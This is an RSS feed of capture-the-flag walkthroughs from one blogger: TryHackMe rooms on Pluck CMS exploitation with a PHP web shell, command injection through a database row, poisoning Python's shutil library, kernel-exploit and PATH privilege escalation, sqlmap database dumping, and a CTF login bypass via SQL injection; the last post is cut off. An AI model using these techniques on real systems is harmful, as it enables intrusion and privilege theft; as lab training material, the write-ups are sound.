<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdelrahman Ahmed on Medium]]></title>
        <description><![CDATA[Stories by Abdelrahman Ahmed on Medium]]></description>
        <link>https://medium.com/@Abdelrahman-AE?source=rss-ea1f1fd9301e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VA2bXBk-fCmVjHwpqGVqRQ.jpeg</url>
            <title>Stories by Abdelrahman Ahmed on Medium</title>
            <link>https://medium.com/@Abdelrahman-AE?source=rss-ea1f1fd9301e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 22:58:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Abdelrahman-AE/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Dreaming Room— A TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@Abdelrahman-AE/dreaming-room-a-tryhackme-walkthrough-01dd09682edf?source=rss-ea1f1fd9301e------2</link>
            <guid isPermaLink="false">https://medium.com/p/01dd09682edf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Abdelrahman Ahmed]]></dc:creator>
            <pubDate>Tue, 01 Dec 2026 00:15:12 GMT</pubDate>
            <atom:updated>2026-12-03T02:58:17.395Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, Security Professionals. Today, we will walk through the Dreaming Room on TryHackMe, The path begins with a web application, continues through credentials and a database-backed Python script, and ends with unsafe permissions on a Python library used by another user’s backup routine.</p><p>So let’s start!</p><p>One of the objectives of this write-up is not only to reproduce the commands, but to explain why each step was chosen, what the output tells us, and what we can learn from failed attempts.</p><ul><li>Its Link: <a href="https://tryhackme.com/room/dreaming">https://tryhackme.com/room/dreaming</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/0*wNhTsUnYrOf4mmxu.png" /><figcaption>Dreaming…</figcaption></figure><blockquote><strong>While the king of dreams was imprisoned, his home fell into ruins.</strong></blockquote><blockquote><strong>Can you help Sandman restore his kingdom?</strong></blockquote><h3>1. What is the Lucien Flag?</h3><h4>Reconnaissance</h4><ul><li>The first step on any box is a full port scan, using <em>nmap:</em></li></ul><pre>nmap -sC -sV -Pn 10.113.187.24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*T4Q8ZrSXfewOrMpI9-M1vA.png" /><figcaption>nmap results</figcaption></figure><ul><li>Two open ports mean two possible entry points — SSH (which needs valid credentials) and HTTP (which, on a default Apache page, usually hides something behind a directory or vhost that isn’t linked from the homepage).</li></ul><h4>Web Enumeration</h4><ul><li>With port 80 showing nothing by default, the next move is a directory brute force using tools like <em>gobuster</em>:</li></ul><pre>gobuster dir -u 10.113.187.24 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kkcDbLutMyjhS4kc--oRNQ.png" /><figcaption>gobuster results</figcaption></figure><ul><li>Browsing to /app/ revealed a Pluck CMS installation at /app/pluck-4.7.13/ — the version number is right there in the path, which immediately makes it worth checking for known CVEs rather than manually poking at the application.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*tJz3bC11dbimjZXNFFfLKA.png" /></figure><h4>Initial Foothold: Pluck CMS RCE (CVE-2020–29607)</h4><p>Pluck CMS 4.7.13 is affected by <strong>CVE-2020–29607</strong>, an authenticated arbitrary file upload that leads to RCE (CWE-434, CVSS 7.2). The bug sits in the admin “manage files” feature (admin.php?action=files): once logged in, a file-type restriction bypass lets an authenticated user upload a .phar file that the server will happily execute. <a href="https://www.exploit-db.com/exploits/49909">Exploit-DB 49909</a>, written by Ron Jost, automates the whole chain — it logs in with a given admin password and uploads <a href="https://github.com/flozz/p0wny-shell">p0wny-shell</a>, a lightweight single-file PHP web shell.</p><pre>python3 49909.py 10.113.187.24 80 &#39;password&#39; &#39;/app/pluck-4.7.13&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*NJxamxK2hsNxybeET5RuOQ.png" /></figure><ul><li>Knowing that the script takes four positional arguments (target_ip, target_port, password, pluck_path).</li><li>Once authenticated, the script uploaded the web shell to:</li></ul><pre>http://10.113.187.24/app/pluck-4.7.13/files/shell.phar</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C0WVF_miUTHmVa4nnl6AVg.png" /></figure><h4>Post-Exploitation Recon</h4><ul><li>With a shell as www-data, the next habit is a quick walk of commonly-interesting directories — /opt in particular, since it&#39;s a frequent dumping ground for admin scripts outside the usual webroot.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*W9ODsOkrvkdC9huu0KwYjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*MupjjcO269HndUsu15qEEA.png" /></figure><pre>p0wny@shell:/opt# cat getDreams.py<br>import mysql.connector<br>import subprocess<br><br># MySQL credentials<br>DB_USER = &quot;death&quot;<br>DB_PASS = &quot;#redacted&quot;<br>DB_NAME = &quot;library&quot;<br><br>import mysql.connector<br>import subprocess<br><br>def getDreams():<br>    try:<br>        # Connect to the MySQL database<br>        connection = mysql.connector.connect(<br>            host=&quot;localhost&quot;,<br>            user=DB_USER,<br>            password=DB_PASS,<br>            database=DB_NAME<br>        )<br><br>        # Create a cursor object to execute SQL queries<br>        cursor = connection.cursor()<br><br>        # Construct the MySQL query to fetch dreamer and dream columns from dreams table<br>        query = &quot;SELECT dreamer, dream FROM dreams;&quot;<br><br>        # Execute the query<br>        cursor.execute(query)<br><br>        # Fetch all the dreamer and dream information<br>        dreams_info = cursor.fetchall()<br><br>        if not dreams_info:<br>            print(&quot;No dreams found in the database.&quot;)<br>        else:<br>            # Loop through the results and echo the information using subprocess<br>            for dream_info in dreams_info:<br>                dreamer, dream = dream_info<br>                command = f&quot;echo {dreamer} + {dream}&quot;<br>                shell = subprocess.check_output(command, text=True, shell=True)<br>                print(shell)<br><br>    except mysql.connector.Error as error:<br>        # Handle any errors that might occur during the database connection or query execution<br>        print(f&quot;Error: {error}&quot;)<br><br>    finally:<br>        # Close the cursor and connection<br>        cursor.close()<br>        connection.close()<br><br># Call the function to echo the dreamer and dream information<br>getDreams()</pre><p>Both files were readable and both leaked something useful:</p><ul><li><strong>test.py</strong> — a throwaway script (comment: #Todo add myself as a user) that logs into the Pluck CMS login form using a hardcoded password: HeyLucien#@1999!. The variable name (cont1) matches Pluck&#39;s login field, and the password string itself strongly hints at a username: <em>Lucien</em>.</li><li><strong>getDreams.py</strong> — a script that connects to a local MySQL database (library) as user death and echoes rows from a dreams table back to the caller using subprocess.check_output(..., shell=True). The DB password was present but redacted in this copy; a second, unredacted copy turned up later in /home/death (see the privesc section below).</li></ul><h4>Gaining SSH Access as lucien</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*J4P75b_1NMFI8JYlco3_Gg.png" /></figure><p>This is the password for the <strong>lucien</strong> password: HeyLucien#@1999!</p><ul><li>Once logged in, we found the first flag:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*EPs3VCcix9tTkq7KC4ibiw.png" /></figure><h3>2. What is the Death Flag?</h3><h4>Privilege Escalation: lucien → death</h4><ul><li>First, we run sudo -l for listing what the current user is allowed to run as someone else without needing their password:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SQ8Nyhs3R3Bp4RBmpwEc6Q.png" /></figure><ul><li>Here are all the files in the directory:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*PJcVsSE8AsPU8Nxg_OVarA.png" /></figure><ul><li>Then we opened the .bash_history file, and got the mysql credentials:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*HwlIUsRCoRwvNvsIzcIwMA.png" /></figure><ul><li>So, we accessed the database using this command:mysql -u lucein -plucien42DBPASSWORD.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*iJFWFlDM_11yZwJDUtTNAw.png" /></figure><ul><li>Logging in with those credentials gave read/write access to the library database and its single dreams table:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*R4JIw-YIyfPQUY34GA7okQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*rp0SYj4Yy3pby-Cw3SkfoA.png" /></figure><ul><li><strong>The exploit — inserting a malicious row:</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*tEjAtVXaDEaPS1J6e1QvUA.png" /></figure><ul><li>When getDreams.py later builds f&quot;echo {dreamer} + {dream}&quot; for this row, the resulting shell command becomes: echo martin + $(/bin/bash)</li><li>Bash evaluates the $(...) substitution <em>before</em> echo ever runs, which means /bin/bash is spawned as a subshell first — and because check_output connects that subshell to the same interactive terminal, it drops into an interactive bash session rather than quietly printing output.</li><li><strong>Triggering it as death:</strong></li></ul><p>sudo -u death /usr/bin/python3 /home/death/getDreams.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*TKdpp1OgGEWBtd6pXIP0eg.png" /></figure><ul><li>Because the sudoers entry lets lucien run this exact script as death with no password, the injected $(/bin/bash) now executes with death&#39;s privileges — instant privilege escalation from lucien to death, no password needed, only a write permission on a MySQL table.</li><li><strong>A permissions snag, and the fix:</strong> the first cat death_flag.txt attempt returned Permission denied even after landing the shell, because the subshell spawned by the injection still carried over some of the session state from the sudo invocation unexpectedly. Running su death (and supplying death&#39;s password, trivially recoverable since by this point the DB password for death&#39;s <em>own</em> copy of getDreams.py was also on disk) gave a clean, fully-privileged shell as death:</li></ul><p>death@ip-10–113–187–24:~$ cat death_flag.txt<br>THM{1M_TH3R3_4_TH3M}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*qScLhqUdu-PzBhSXPnm9tA.png" /></figure><h3>3. What is the <strong>morpheus </strong>Flag?</h3><h4>Privilege Escalation: death → morpheus</h4><p>As death, /home/morpheus had two readable files (plus a flag that wasn&#39;t):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*TxVXKjp61QBcXXBqG0e96g.png" /></figure><ul><li>restore.py is a backup script that copies kingdom into /kingdom_backup/. On its own this script is harmless — but a script is only as trustworthy as the libraries it imports. sudo -l as death confirmed death has no direct sudo rights, so the next move was to hunt for anything writable by the groups death belongs to:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*Qkhq2xVQkSOC7egxy_Cg8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*W4H5CX4gXcGvsRzx4sXGWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*J4xFD74XkBeLoO-XJcQrEg.png" /></figure><ul><li><strong>This is the key finding.</strong> /usr/lib/python3.8/shutil.py is Python&#39;s <em>standard library</em> shutil module — the exact module restore.py imports copy2 from. If death&#39;s group has write access to it, and restore.py (or anything else) is later run by a more privileged user — in this case triggered on a schedule, consistent with the &quot;backup&quot; framing of the script — then whatever code gets added to shutil.py runs with <em>that</em> user&#39;s privileges, not death&#39;s.</li><li><strong>The patch:</strong> copy2() internally calls a fast-copy routine (_fastcopy_sendfile, the function that performs the actual file copy on Linux). Appending a command at the end of that function means it fires every time a shutil.copy2() call completes:</li></ul><p>os.system(“chmod 777 /home/morpheus/morpheus_flag.txt”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*rgRKXkPe1feOO8ql4mhJ1w.png" /></figure><ul><li>Once the corrected file was in place and the next scheduled run of restore.py executed copy2() as a higher-privileged user, the injected chmod 777 fired against the real flag file:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*8u1dqOyjn1sK8pY_frDKYw.png" /></figure><p>Finally, that’s all. Thank you for getting here.</p><p>See you again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=01dd09682edf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Privilege Escalation TryHackMe Room]]></title>
            <link>https://medium.com/@Abdelrahman-AE/linux-privilege-escalation-tryhackme-room-9497a8decfea?source=rss-ea1f1fd9301e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9497a8decfea</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Abdelrahman Ahmed]]></dc:creator>
            <pubDate>Mon, 05 Oct 2026 04:31:01 GMT</pubDate>
            <atom:updated>2026-10-05T05:37:17.985Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, Security Professionals. Today, we will walk through the Linux Privilege Escalation Room on TryHackMe, so let’s start!</p><ul><li>Here is the room Link: <a href="https://tryhackme.com/room/linprivesc">https://tryhackme.com/room/linprivesc</a></li><li>The explanation of the concepts is in the room itself, so we will go through the tasks and required flags directly.</li></ul><blockquote>It is not completed.. yet?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*ZmHlanKihfN4_Q6w0-6iVA.png" /></figure><h3>Task 1: Introduction</h3><blockquote>Check read the above</blockquote><h3>Task 2: What is Privilege Escalation?</h3><blockquote>Check read the above</blockquote><h3>Task 3: Enumeration</h3><ul><li>We will connect to the machine through our kali on vmware, so first we will set up the vpn.</li><li>Then we will get ssh on the target machine, using the credentials provided:</li></ul><blockquote><strong>Username: karen</strong></blockquote><blockquote><strong>Password: Password1</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*6yx9qayvnIhYhNWgDB0srA.png" /></figure><h4><strong>Questions</strong></h4><h4>What is the hostname of the target system?</h4><ul><li>for getting the hostname we run the command hostname on the target machine:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*EwD4dLPn3FPxRw8E8bLTuA.png" /><figcaption>getting the hostname</figcaption></figure><blockquote>wade7363</blockquote><h4>What is the Linux kernel version of the target system?</h4><ul><li>We run the command uname -a:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*Cv-ctLAs8WsJhz2rgJYVWw.png" /><figcaption>Linux Kernel Version</figcaption></figure><blockquote>3.13.0–24-generic</blockquote><h4>What Linux is this?</h4><ul><li>We first try /proc/version but it was not what tryhackme wanted so we got it from running cat /etc/issue:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*9hfqzlqhTkxRAtFuUQt8IQ.png" /><figcaption>getting Linux Disrto</figcaption></figure><blockquote>Ubuntu 14.04 LTS</blockquote><h4>What version of the Python language is installed on the system?</h4><ul><li>We ran python --version on the target machine:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*9kdQ25gA9WPPl76Fa3XE6A.png" /><figcaption>python version</figcaption></figure><blockquote>2.7.6</blockquote><h4>What vulnerability seem to affect the kernel of the target system? (Enter a CVE number)</h4><ul><li>From the enumeration we did we knew that the kernel version is this:</li></ul><pre>3.13.0-24-generic</pre><ul><li>So, we search on exploitDB: <a href="https://www.exploit-db.com/">https://www.exploit-db.com/</a> and found this exploit:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*Ik_g5TmwS5SEqS8YCiACmQ.png" /><figcaption>CVE number</figcaption></figure><blockquote>CVE-2015–1328</blockquote><h3>Task 4: Automated Enumeration Tools</h3><blockquote>Install and try a few automated enumeration tools on your local Linux distribution</blockquote><h3>Task 5: Privilege Escalation: Kernel Exploits</h3><ul><li>First, we download the exploit we found on this website: <a href="https://www.exploit-db.com/exploits/40688">https://www.exploit-db.com/exploits/40688</a></li><li>And on our kali we will start an http python server to transfer the exploit to our target machine:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*uU6YfXgXzIpnwhBXnWxZDQ.png" /><figcaption>python server</figcaption></figure><ul><li>Then, on the target machine, I moved into /tmp.</li><li>/tmp is commonly used because normal users can usually write files there.</li><li>Then I downloaded the exploit:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*EyhB-_9Xfrjj0Nfd5brmpA.png" /></figure><ul><li>Then we compiled it using gcc command, after that we executed the file that was compiled and we became root.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*tsWOiCkPvKfGJlA8rJd1eg.png" /><figcaption>get root</figcaption></figure><ul><li>After some search oon the files we found that the flag is in this path:</li></ul><h4>Questions</h4><h4>find and use the appropriate kernel exploit to gain root privileges on the target system.</h4><blockquote>No answer needed</blockquote><h4>What is the content of the flag1.txt file?</h4><blockquote>THM-28392872729920</blockquote><h3>Task 10: Privilege Escalation: PATH</h3><ul><li>PATH is an environment variable that tells Linux where to look for commands.</li></ul><h4>Questions</h4><h4>What is the odd folder you have write access for?</h4><ul><li>We ran: find / -writable 2&gt;/dev/null and find out that there is a folder called /home/murdochandmurdoch stood out because it looked like a real user directory, not a random system folder.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*JbNJaFrUzZz7Wb_k7x6tOQ.png" /></figure><ul><li>So, we checked home:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*ECQCtB4S8fgXVBIAJ2iXyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*aiGjGuYXRwmf0nG7xCfE-A.png" /></figure><ul><li>Getting flag6.txt , we can create a fake thm script that reads the flag, then make it executable, after that we add /home/murdoch to the beginning of PATH, finally we ran the SUID binary:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*lXMP76-x2Di6GemvnicKDw.png" /></figure><ul><li>We got the flag successfully.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9497a8decfea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQLMAP Room Walkthrough TryHackMe]]></title>
            <link>https://medium.com/@Abdelrahman-AE/sqlmap-room-walkthrough-tryhackme-2e1503b1ff34?source=rss-ea1f1fd9301e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e1503b1ff34</guid>
            <category><![CDATA[sqlmap]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Abdelrahman Ahmed]]></dc:creator>
            <pubDate>Sat, 26 Sep 2026 23:42:38 GMT</pubDate>
            <atom:updated>2026-09-26T23:44:30.691Z</atom:updated>
            <content:encoded><![CDATA[<p>There are a lot of ways to detect the SQL Injection vulnerability; one of these ways is using automated tools like SQLMap.</p><p>Here is the official link for the room. <a href="https://tryhackme.com/room/sqlmap">🔗</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*ouQT3r5aUqE1qgXmqHizgQ.png" /></figure><h3>Introduction</h3><h4>What is sqlmap?</h4><ul><li>sqlmap is an open source penetration testing tool developed by Bernardo Damele Assumpcao Guimaraes and Miroslav Stampar that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting, fetching data from the database, to accessing the underlying and executing commands on the operating system via out-of-band connections.</li></ul><h4>Installing sqlmap</h4><ul><li>If you’re using Kali , sqlmap is pre-installed. Otherwise, you can download it here: <a href="https://github.com/sqlmapproject/sqlmap">https://github.com/sqlmapproject/sqlmap</a></li></ul><h3>Using Sqlmap</h3><ul><li>Getting the help page:</li></ul><pre>sqlmap -h</pre><ul><li>Basic commands:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-w-_L_qBbRoeTdTxcBMlcg.png" /><figcaption>basic commands list</figcaption></figure><h4>Questions’ Answers</h4><ul><li>Which flag or option will allow you to add a URL to the command? <strong><em>-u</em></strong></li><li>Which flag would you use to add data to a POST request? <strong><em>— data</em></strong></li><li>There are two parameters: username and password. How would you tell sqlmap to use the username parameter for the attack? <strong><em>-p username</em></strong></li><li>Which flag would you use to show the advanced help menu? <strong><em>-hh</em></strong></li><li>Which flag allows you to retrieve everything? <strong><em>-a</em></strong></li><li>Which flag allows you to select the database name? <strong><em>-d</em></strong></li><li>Which flag would you use to retrieve database tables? <strong><em>— tables</em></strong></li><li>Which flag allows you to retrieve a table’s columns? <strong><em>— columns</em></strong></li><li>Which flag allows you to dump all the database table entries? <strong><em>— dump-all</em></strong></li><li>Which flag will give you an interactive SQL Shell prompt? <strong><em>— sql-shell</em></strong></li><li>You know the current db type is ‘MYSQL’. Which flag allows you to enumerate only MySQL databases? <strong><em>— dbms=mysql</em></strong></li></ul><h3>SQLMap Challenge</h3><ul><li>Once we deployed the machine successfully, we run a usual <strong><em>nmap </em></strong>scan with this command:</li></ul><blockquote>nmap -sV -sC -Pn -p- 10.112.156.225</blockquote><ul><li>Then, we visited the website and found this page:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNT-ubc-kHBViy8DKCeKrA.png" /></figure><ul><li>After that we did some enumertion on the directories using <strong><em>gobuster </em></strong>on the target machine, using this command:</li></ul><blockquote>gobuster dir -u 10.112.156.225/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*NQbpjfTZ1HGkDuyBNv8m_Q.png" /></figure><p>Q1: What is the name of the interesting directory? <strong><em>blood</em></strong></p><ul><li>When we go to http://10.112.156.225/blood, I got this web page:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QG_EsQGKnCMwtKTXF2JcQw.png" /></figure><ul><li>I clicked on the Login button while Burp was intercepting the requests and saved the request.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*64TN5UmxRjyn0CsxytX3aw.png" /><figcaption>saved as sqlmap.txt</figcaption></figure><ul><li>Now, we run this command for flag:</li></ul><blockquote>sqlmap -r &lt;file_name&gt; — current-user</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*ldsg8-xW6UpLJO7Aw0Q1PA.png" /></figure><ul><li>Then running this:</li></ul><blockquote>sqlmap -r /home/kali/test/sqlmap.txt -D blood — tables — batch</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*1uphB6ab2UsZ3gs9GRBoiA.png" /><figcaption>we found tables</figcaption></figure><ul><li>so we will run:</li></ul><blockquote>sqlmap -r &lt;file_name&gt; -D blood -T flag — columns</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*5TePFvuTT_PdDG5QFNB4CQ.png" /></figure><ul><li>For getting the flag itself:</li></ul><blockquote>sqlmap -r &lt;file_name&gt; -D blood -T -C flag,id — dump-all</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*Q6d3866gk1-AV0-Q7nCyxg.png" /></figure><ul><li>Thank you for reading; hope you all enjoyed.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e1503b1ff34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DEPI-CTF2 Walkthrough]]></title>
            <link>https://medium.com/@Abdelrahman-AE/depi-ctf2-walkthrough-6c51ab5245a5?source=rss-ea1f1fd9301e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c51ab5245a5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tasks]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Abdelrahman Ahmed]]></dc:creator>
            <pubDate>Tue, 15 Oct 2024 09:29:08 GMT</pubDate>
            <atom:updated>2024-10-15T09:29:08.068Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Everyone,</p><p>Recently, our team participated in the DEPI-CTF2 Capture The Flag competition, where we were tasked with solving complex cybersecurity challenges. CTFs are competitive hacking events where teams work together to solve various tasks related to computer security.</p><p>Our team (Team 4) was composed of skilled individuals, each contributing their expertise to the challenges. I was fortunate to work alongside all of them [Colleague Name 1].</p><p>The challenge covers a lot of fields like Web Security, Cryptography, Reverse Engineering, Digital Forensics, Steganography, and Network Security, each testing a different set of skills. Our team split tasks based on our strengths and worked collaboratively to solve them.</p><p><strong>Methodology</strong></p><ul><li>First, we started by going to the web page: <a href="https://depi-ctfs.vercel.app/">https://depi-ctfs.vercel.app/</a>, and this is what it looks like:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/0*SyCNi_PTRF34wN6F" /></figure><ul><li>Then, we opened the <strong>view page source</strong> and found this part:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_Uym1S0YEX-vvv7d" /></figure><ul><li>We decided to visit the <a href="https://depi-ctfs.vercel.app/robots.txt"><strong>depi-ctfs.vercel.app/robots.txt</strong></a>, and we found this in it:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*z3_lgR2-Z8knMddG" /></figure><ul><li>It seems like the <strong>devLogin </strong>page is hidden or meant for development purposes, so we tried to visit it using <a href="https://depi-ctfs.vercel.app/devLogin"><strong>depi-ctfs.vercel.app/devLogin</strong></a>, and we found this simple login page:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/0*QdrrLFLe96nyooxM" /></figure><ul><li>Then from the <strong>inspect</strong>, we replaced the code of the input fields of the username and password with this:</li></ul><blockquote>&lt;input class=”input100&quot; type=”text” id=”code” minlength=”1&quot; maxlength=”11&quot; placeholder=” أدخل اسم الحساب الخاص بك”&gt;</blockquote><blockquote>&lt;input class=”input100&quot; type=”text” id=”number” minlength=”1&quot; maxlength=”10&quot; placeholder=”أدخل كلمة المرور”&gt;</blockquote><pre>&lt;input class=&quot;input100&quot; type=&quot;text&quot; id=&quot;code&quot; minlength=&quot;1&quot; maxlength=&quot;11&quot; placeholder=&quot; أدخل اسم الحساب الخاص بك&quot;&gt;<br>&lt;input class=&quot;input100&quot; type=&quot;text&quot; id=&quot;number&quot; minlength=&quot;1&quot; maxlength=&quot;10&quot; placeholder=&quot;أدخل كلمة المرور&quot;&gt;</pre><ul><li>And this gave us access to write in the fields of the username and password as we wasn’t authorized earlier.</li><li>From this line from the page source:</li></ul><blockquote>&lt;! — TODO: REMOVE BEFORE PRODUCTION — Only the “Admin” can log in without a password.[Hacker Note] Only the “Admin” can comment it out. I love creating backdoors by injecting vulnerable code or simulating it. The only ingredients you need to access my masterpiece are in this list: [“a”, “d”, “m”, “i”, “n”, “A”, “D”, “M”, “I”, “N”, “‘“, “-”, “ “]. →</blockquote><pre>&lt;!-- TODO: REMOVE BEFORE PRODUCTION - Only the &quot;Admin&quot; can log in without a password.[Hacker Note] Only the &quot;Admin&quot; can comment it out.  I love creating backdoors by injecting vulnerable code or simulating it. The only ingredients you need to access my masterpiece are in this list: [&quot;a&quot;, &quot;d&quot;, &quot;m&quot;, &quot;i&quot;, &quot;n&quot;, &quot;A&quot;, &quot;D&quot;, &quot;M&quot;, &quot;I&quot;, &quot;N&quot;, &quot;&#39;&quot;, &quot;-&quot;, &quot; &quot;]. --&gt;</pre><p>we found that the user name should contain the characters that is written above.</p><ul><li>So, we tried entering the value of <strong><em>admin ‘ — ‘’ </em></strong>into the username field by entering the <strong><em>value=” ” </em></strong>attribute, and we got in and found this page:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WwMmCgokrIFi96g5" /></figure><ul><li>At the end of the page source code, we found a javascript code that likely needs to be obfuscated and decoded.</li><li>When following the LinkedIn button we found this public CV for Elliot Alderson:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CSlq9NtRJlKfiJeW" /></figure><ul><li>Then when checking the public cv again we found this hidden line in it:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lwjIV7YJDrR-Wy3I" /></figure><ul><li>And this is the hidden text:</li></ul><p><em>“The file is encrypted with one of the most famous symmetric encryption algorithms, using a robust key size, and the password is EVerYTHING!$CONNECTeD”</em></p><ul><li>From using the link of the home page itself and the note on the linked post about the private CV on this link, we downloaded it, and found nothing when trying to recover it:</li></ul><p><a href="https://depi-ctfs.vercel.app/home/Mr_Robot_CV.docx"><strong><em>https://depi-ctfs.vercel.app/home/Mr_Robot_CV.docx</em></strong></a></p><ul><li>So, we tried <strong><em>exiftool Mr_Robot_CV.docs, </em></strong>and found nothing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jrziOu5OTMUxBiYg" /></figure><ul><li>So, we tried <strong><em>strings Mr_Robot_CV.docx</em></strong> , we found this line: that has EVERYTHINGISCONNECTED.encUT:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/0*WklRVbWjp71luGCo" /></figure><ul><li>So, we used 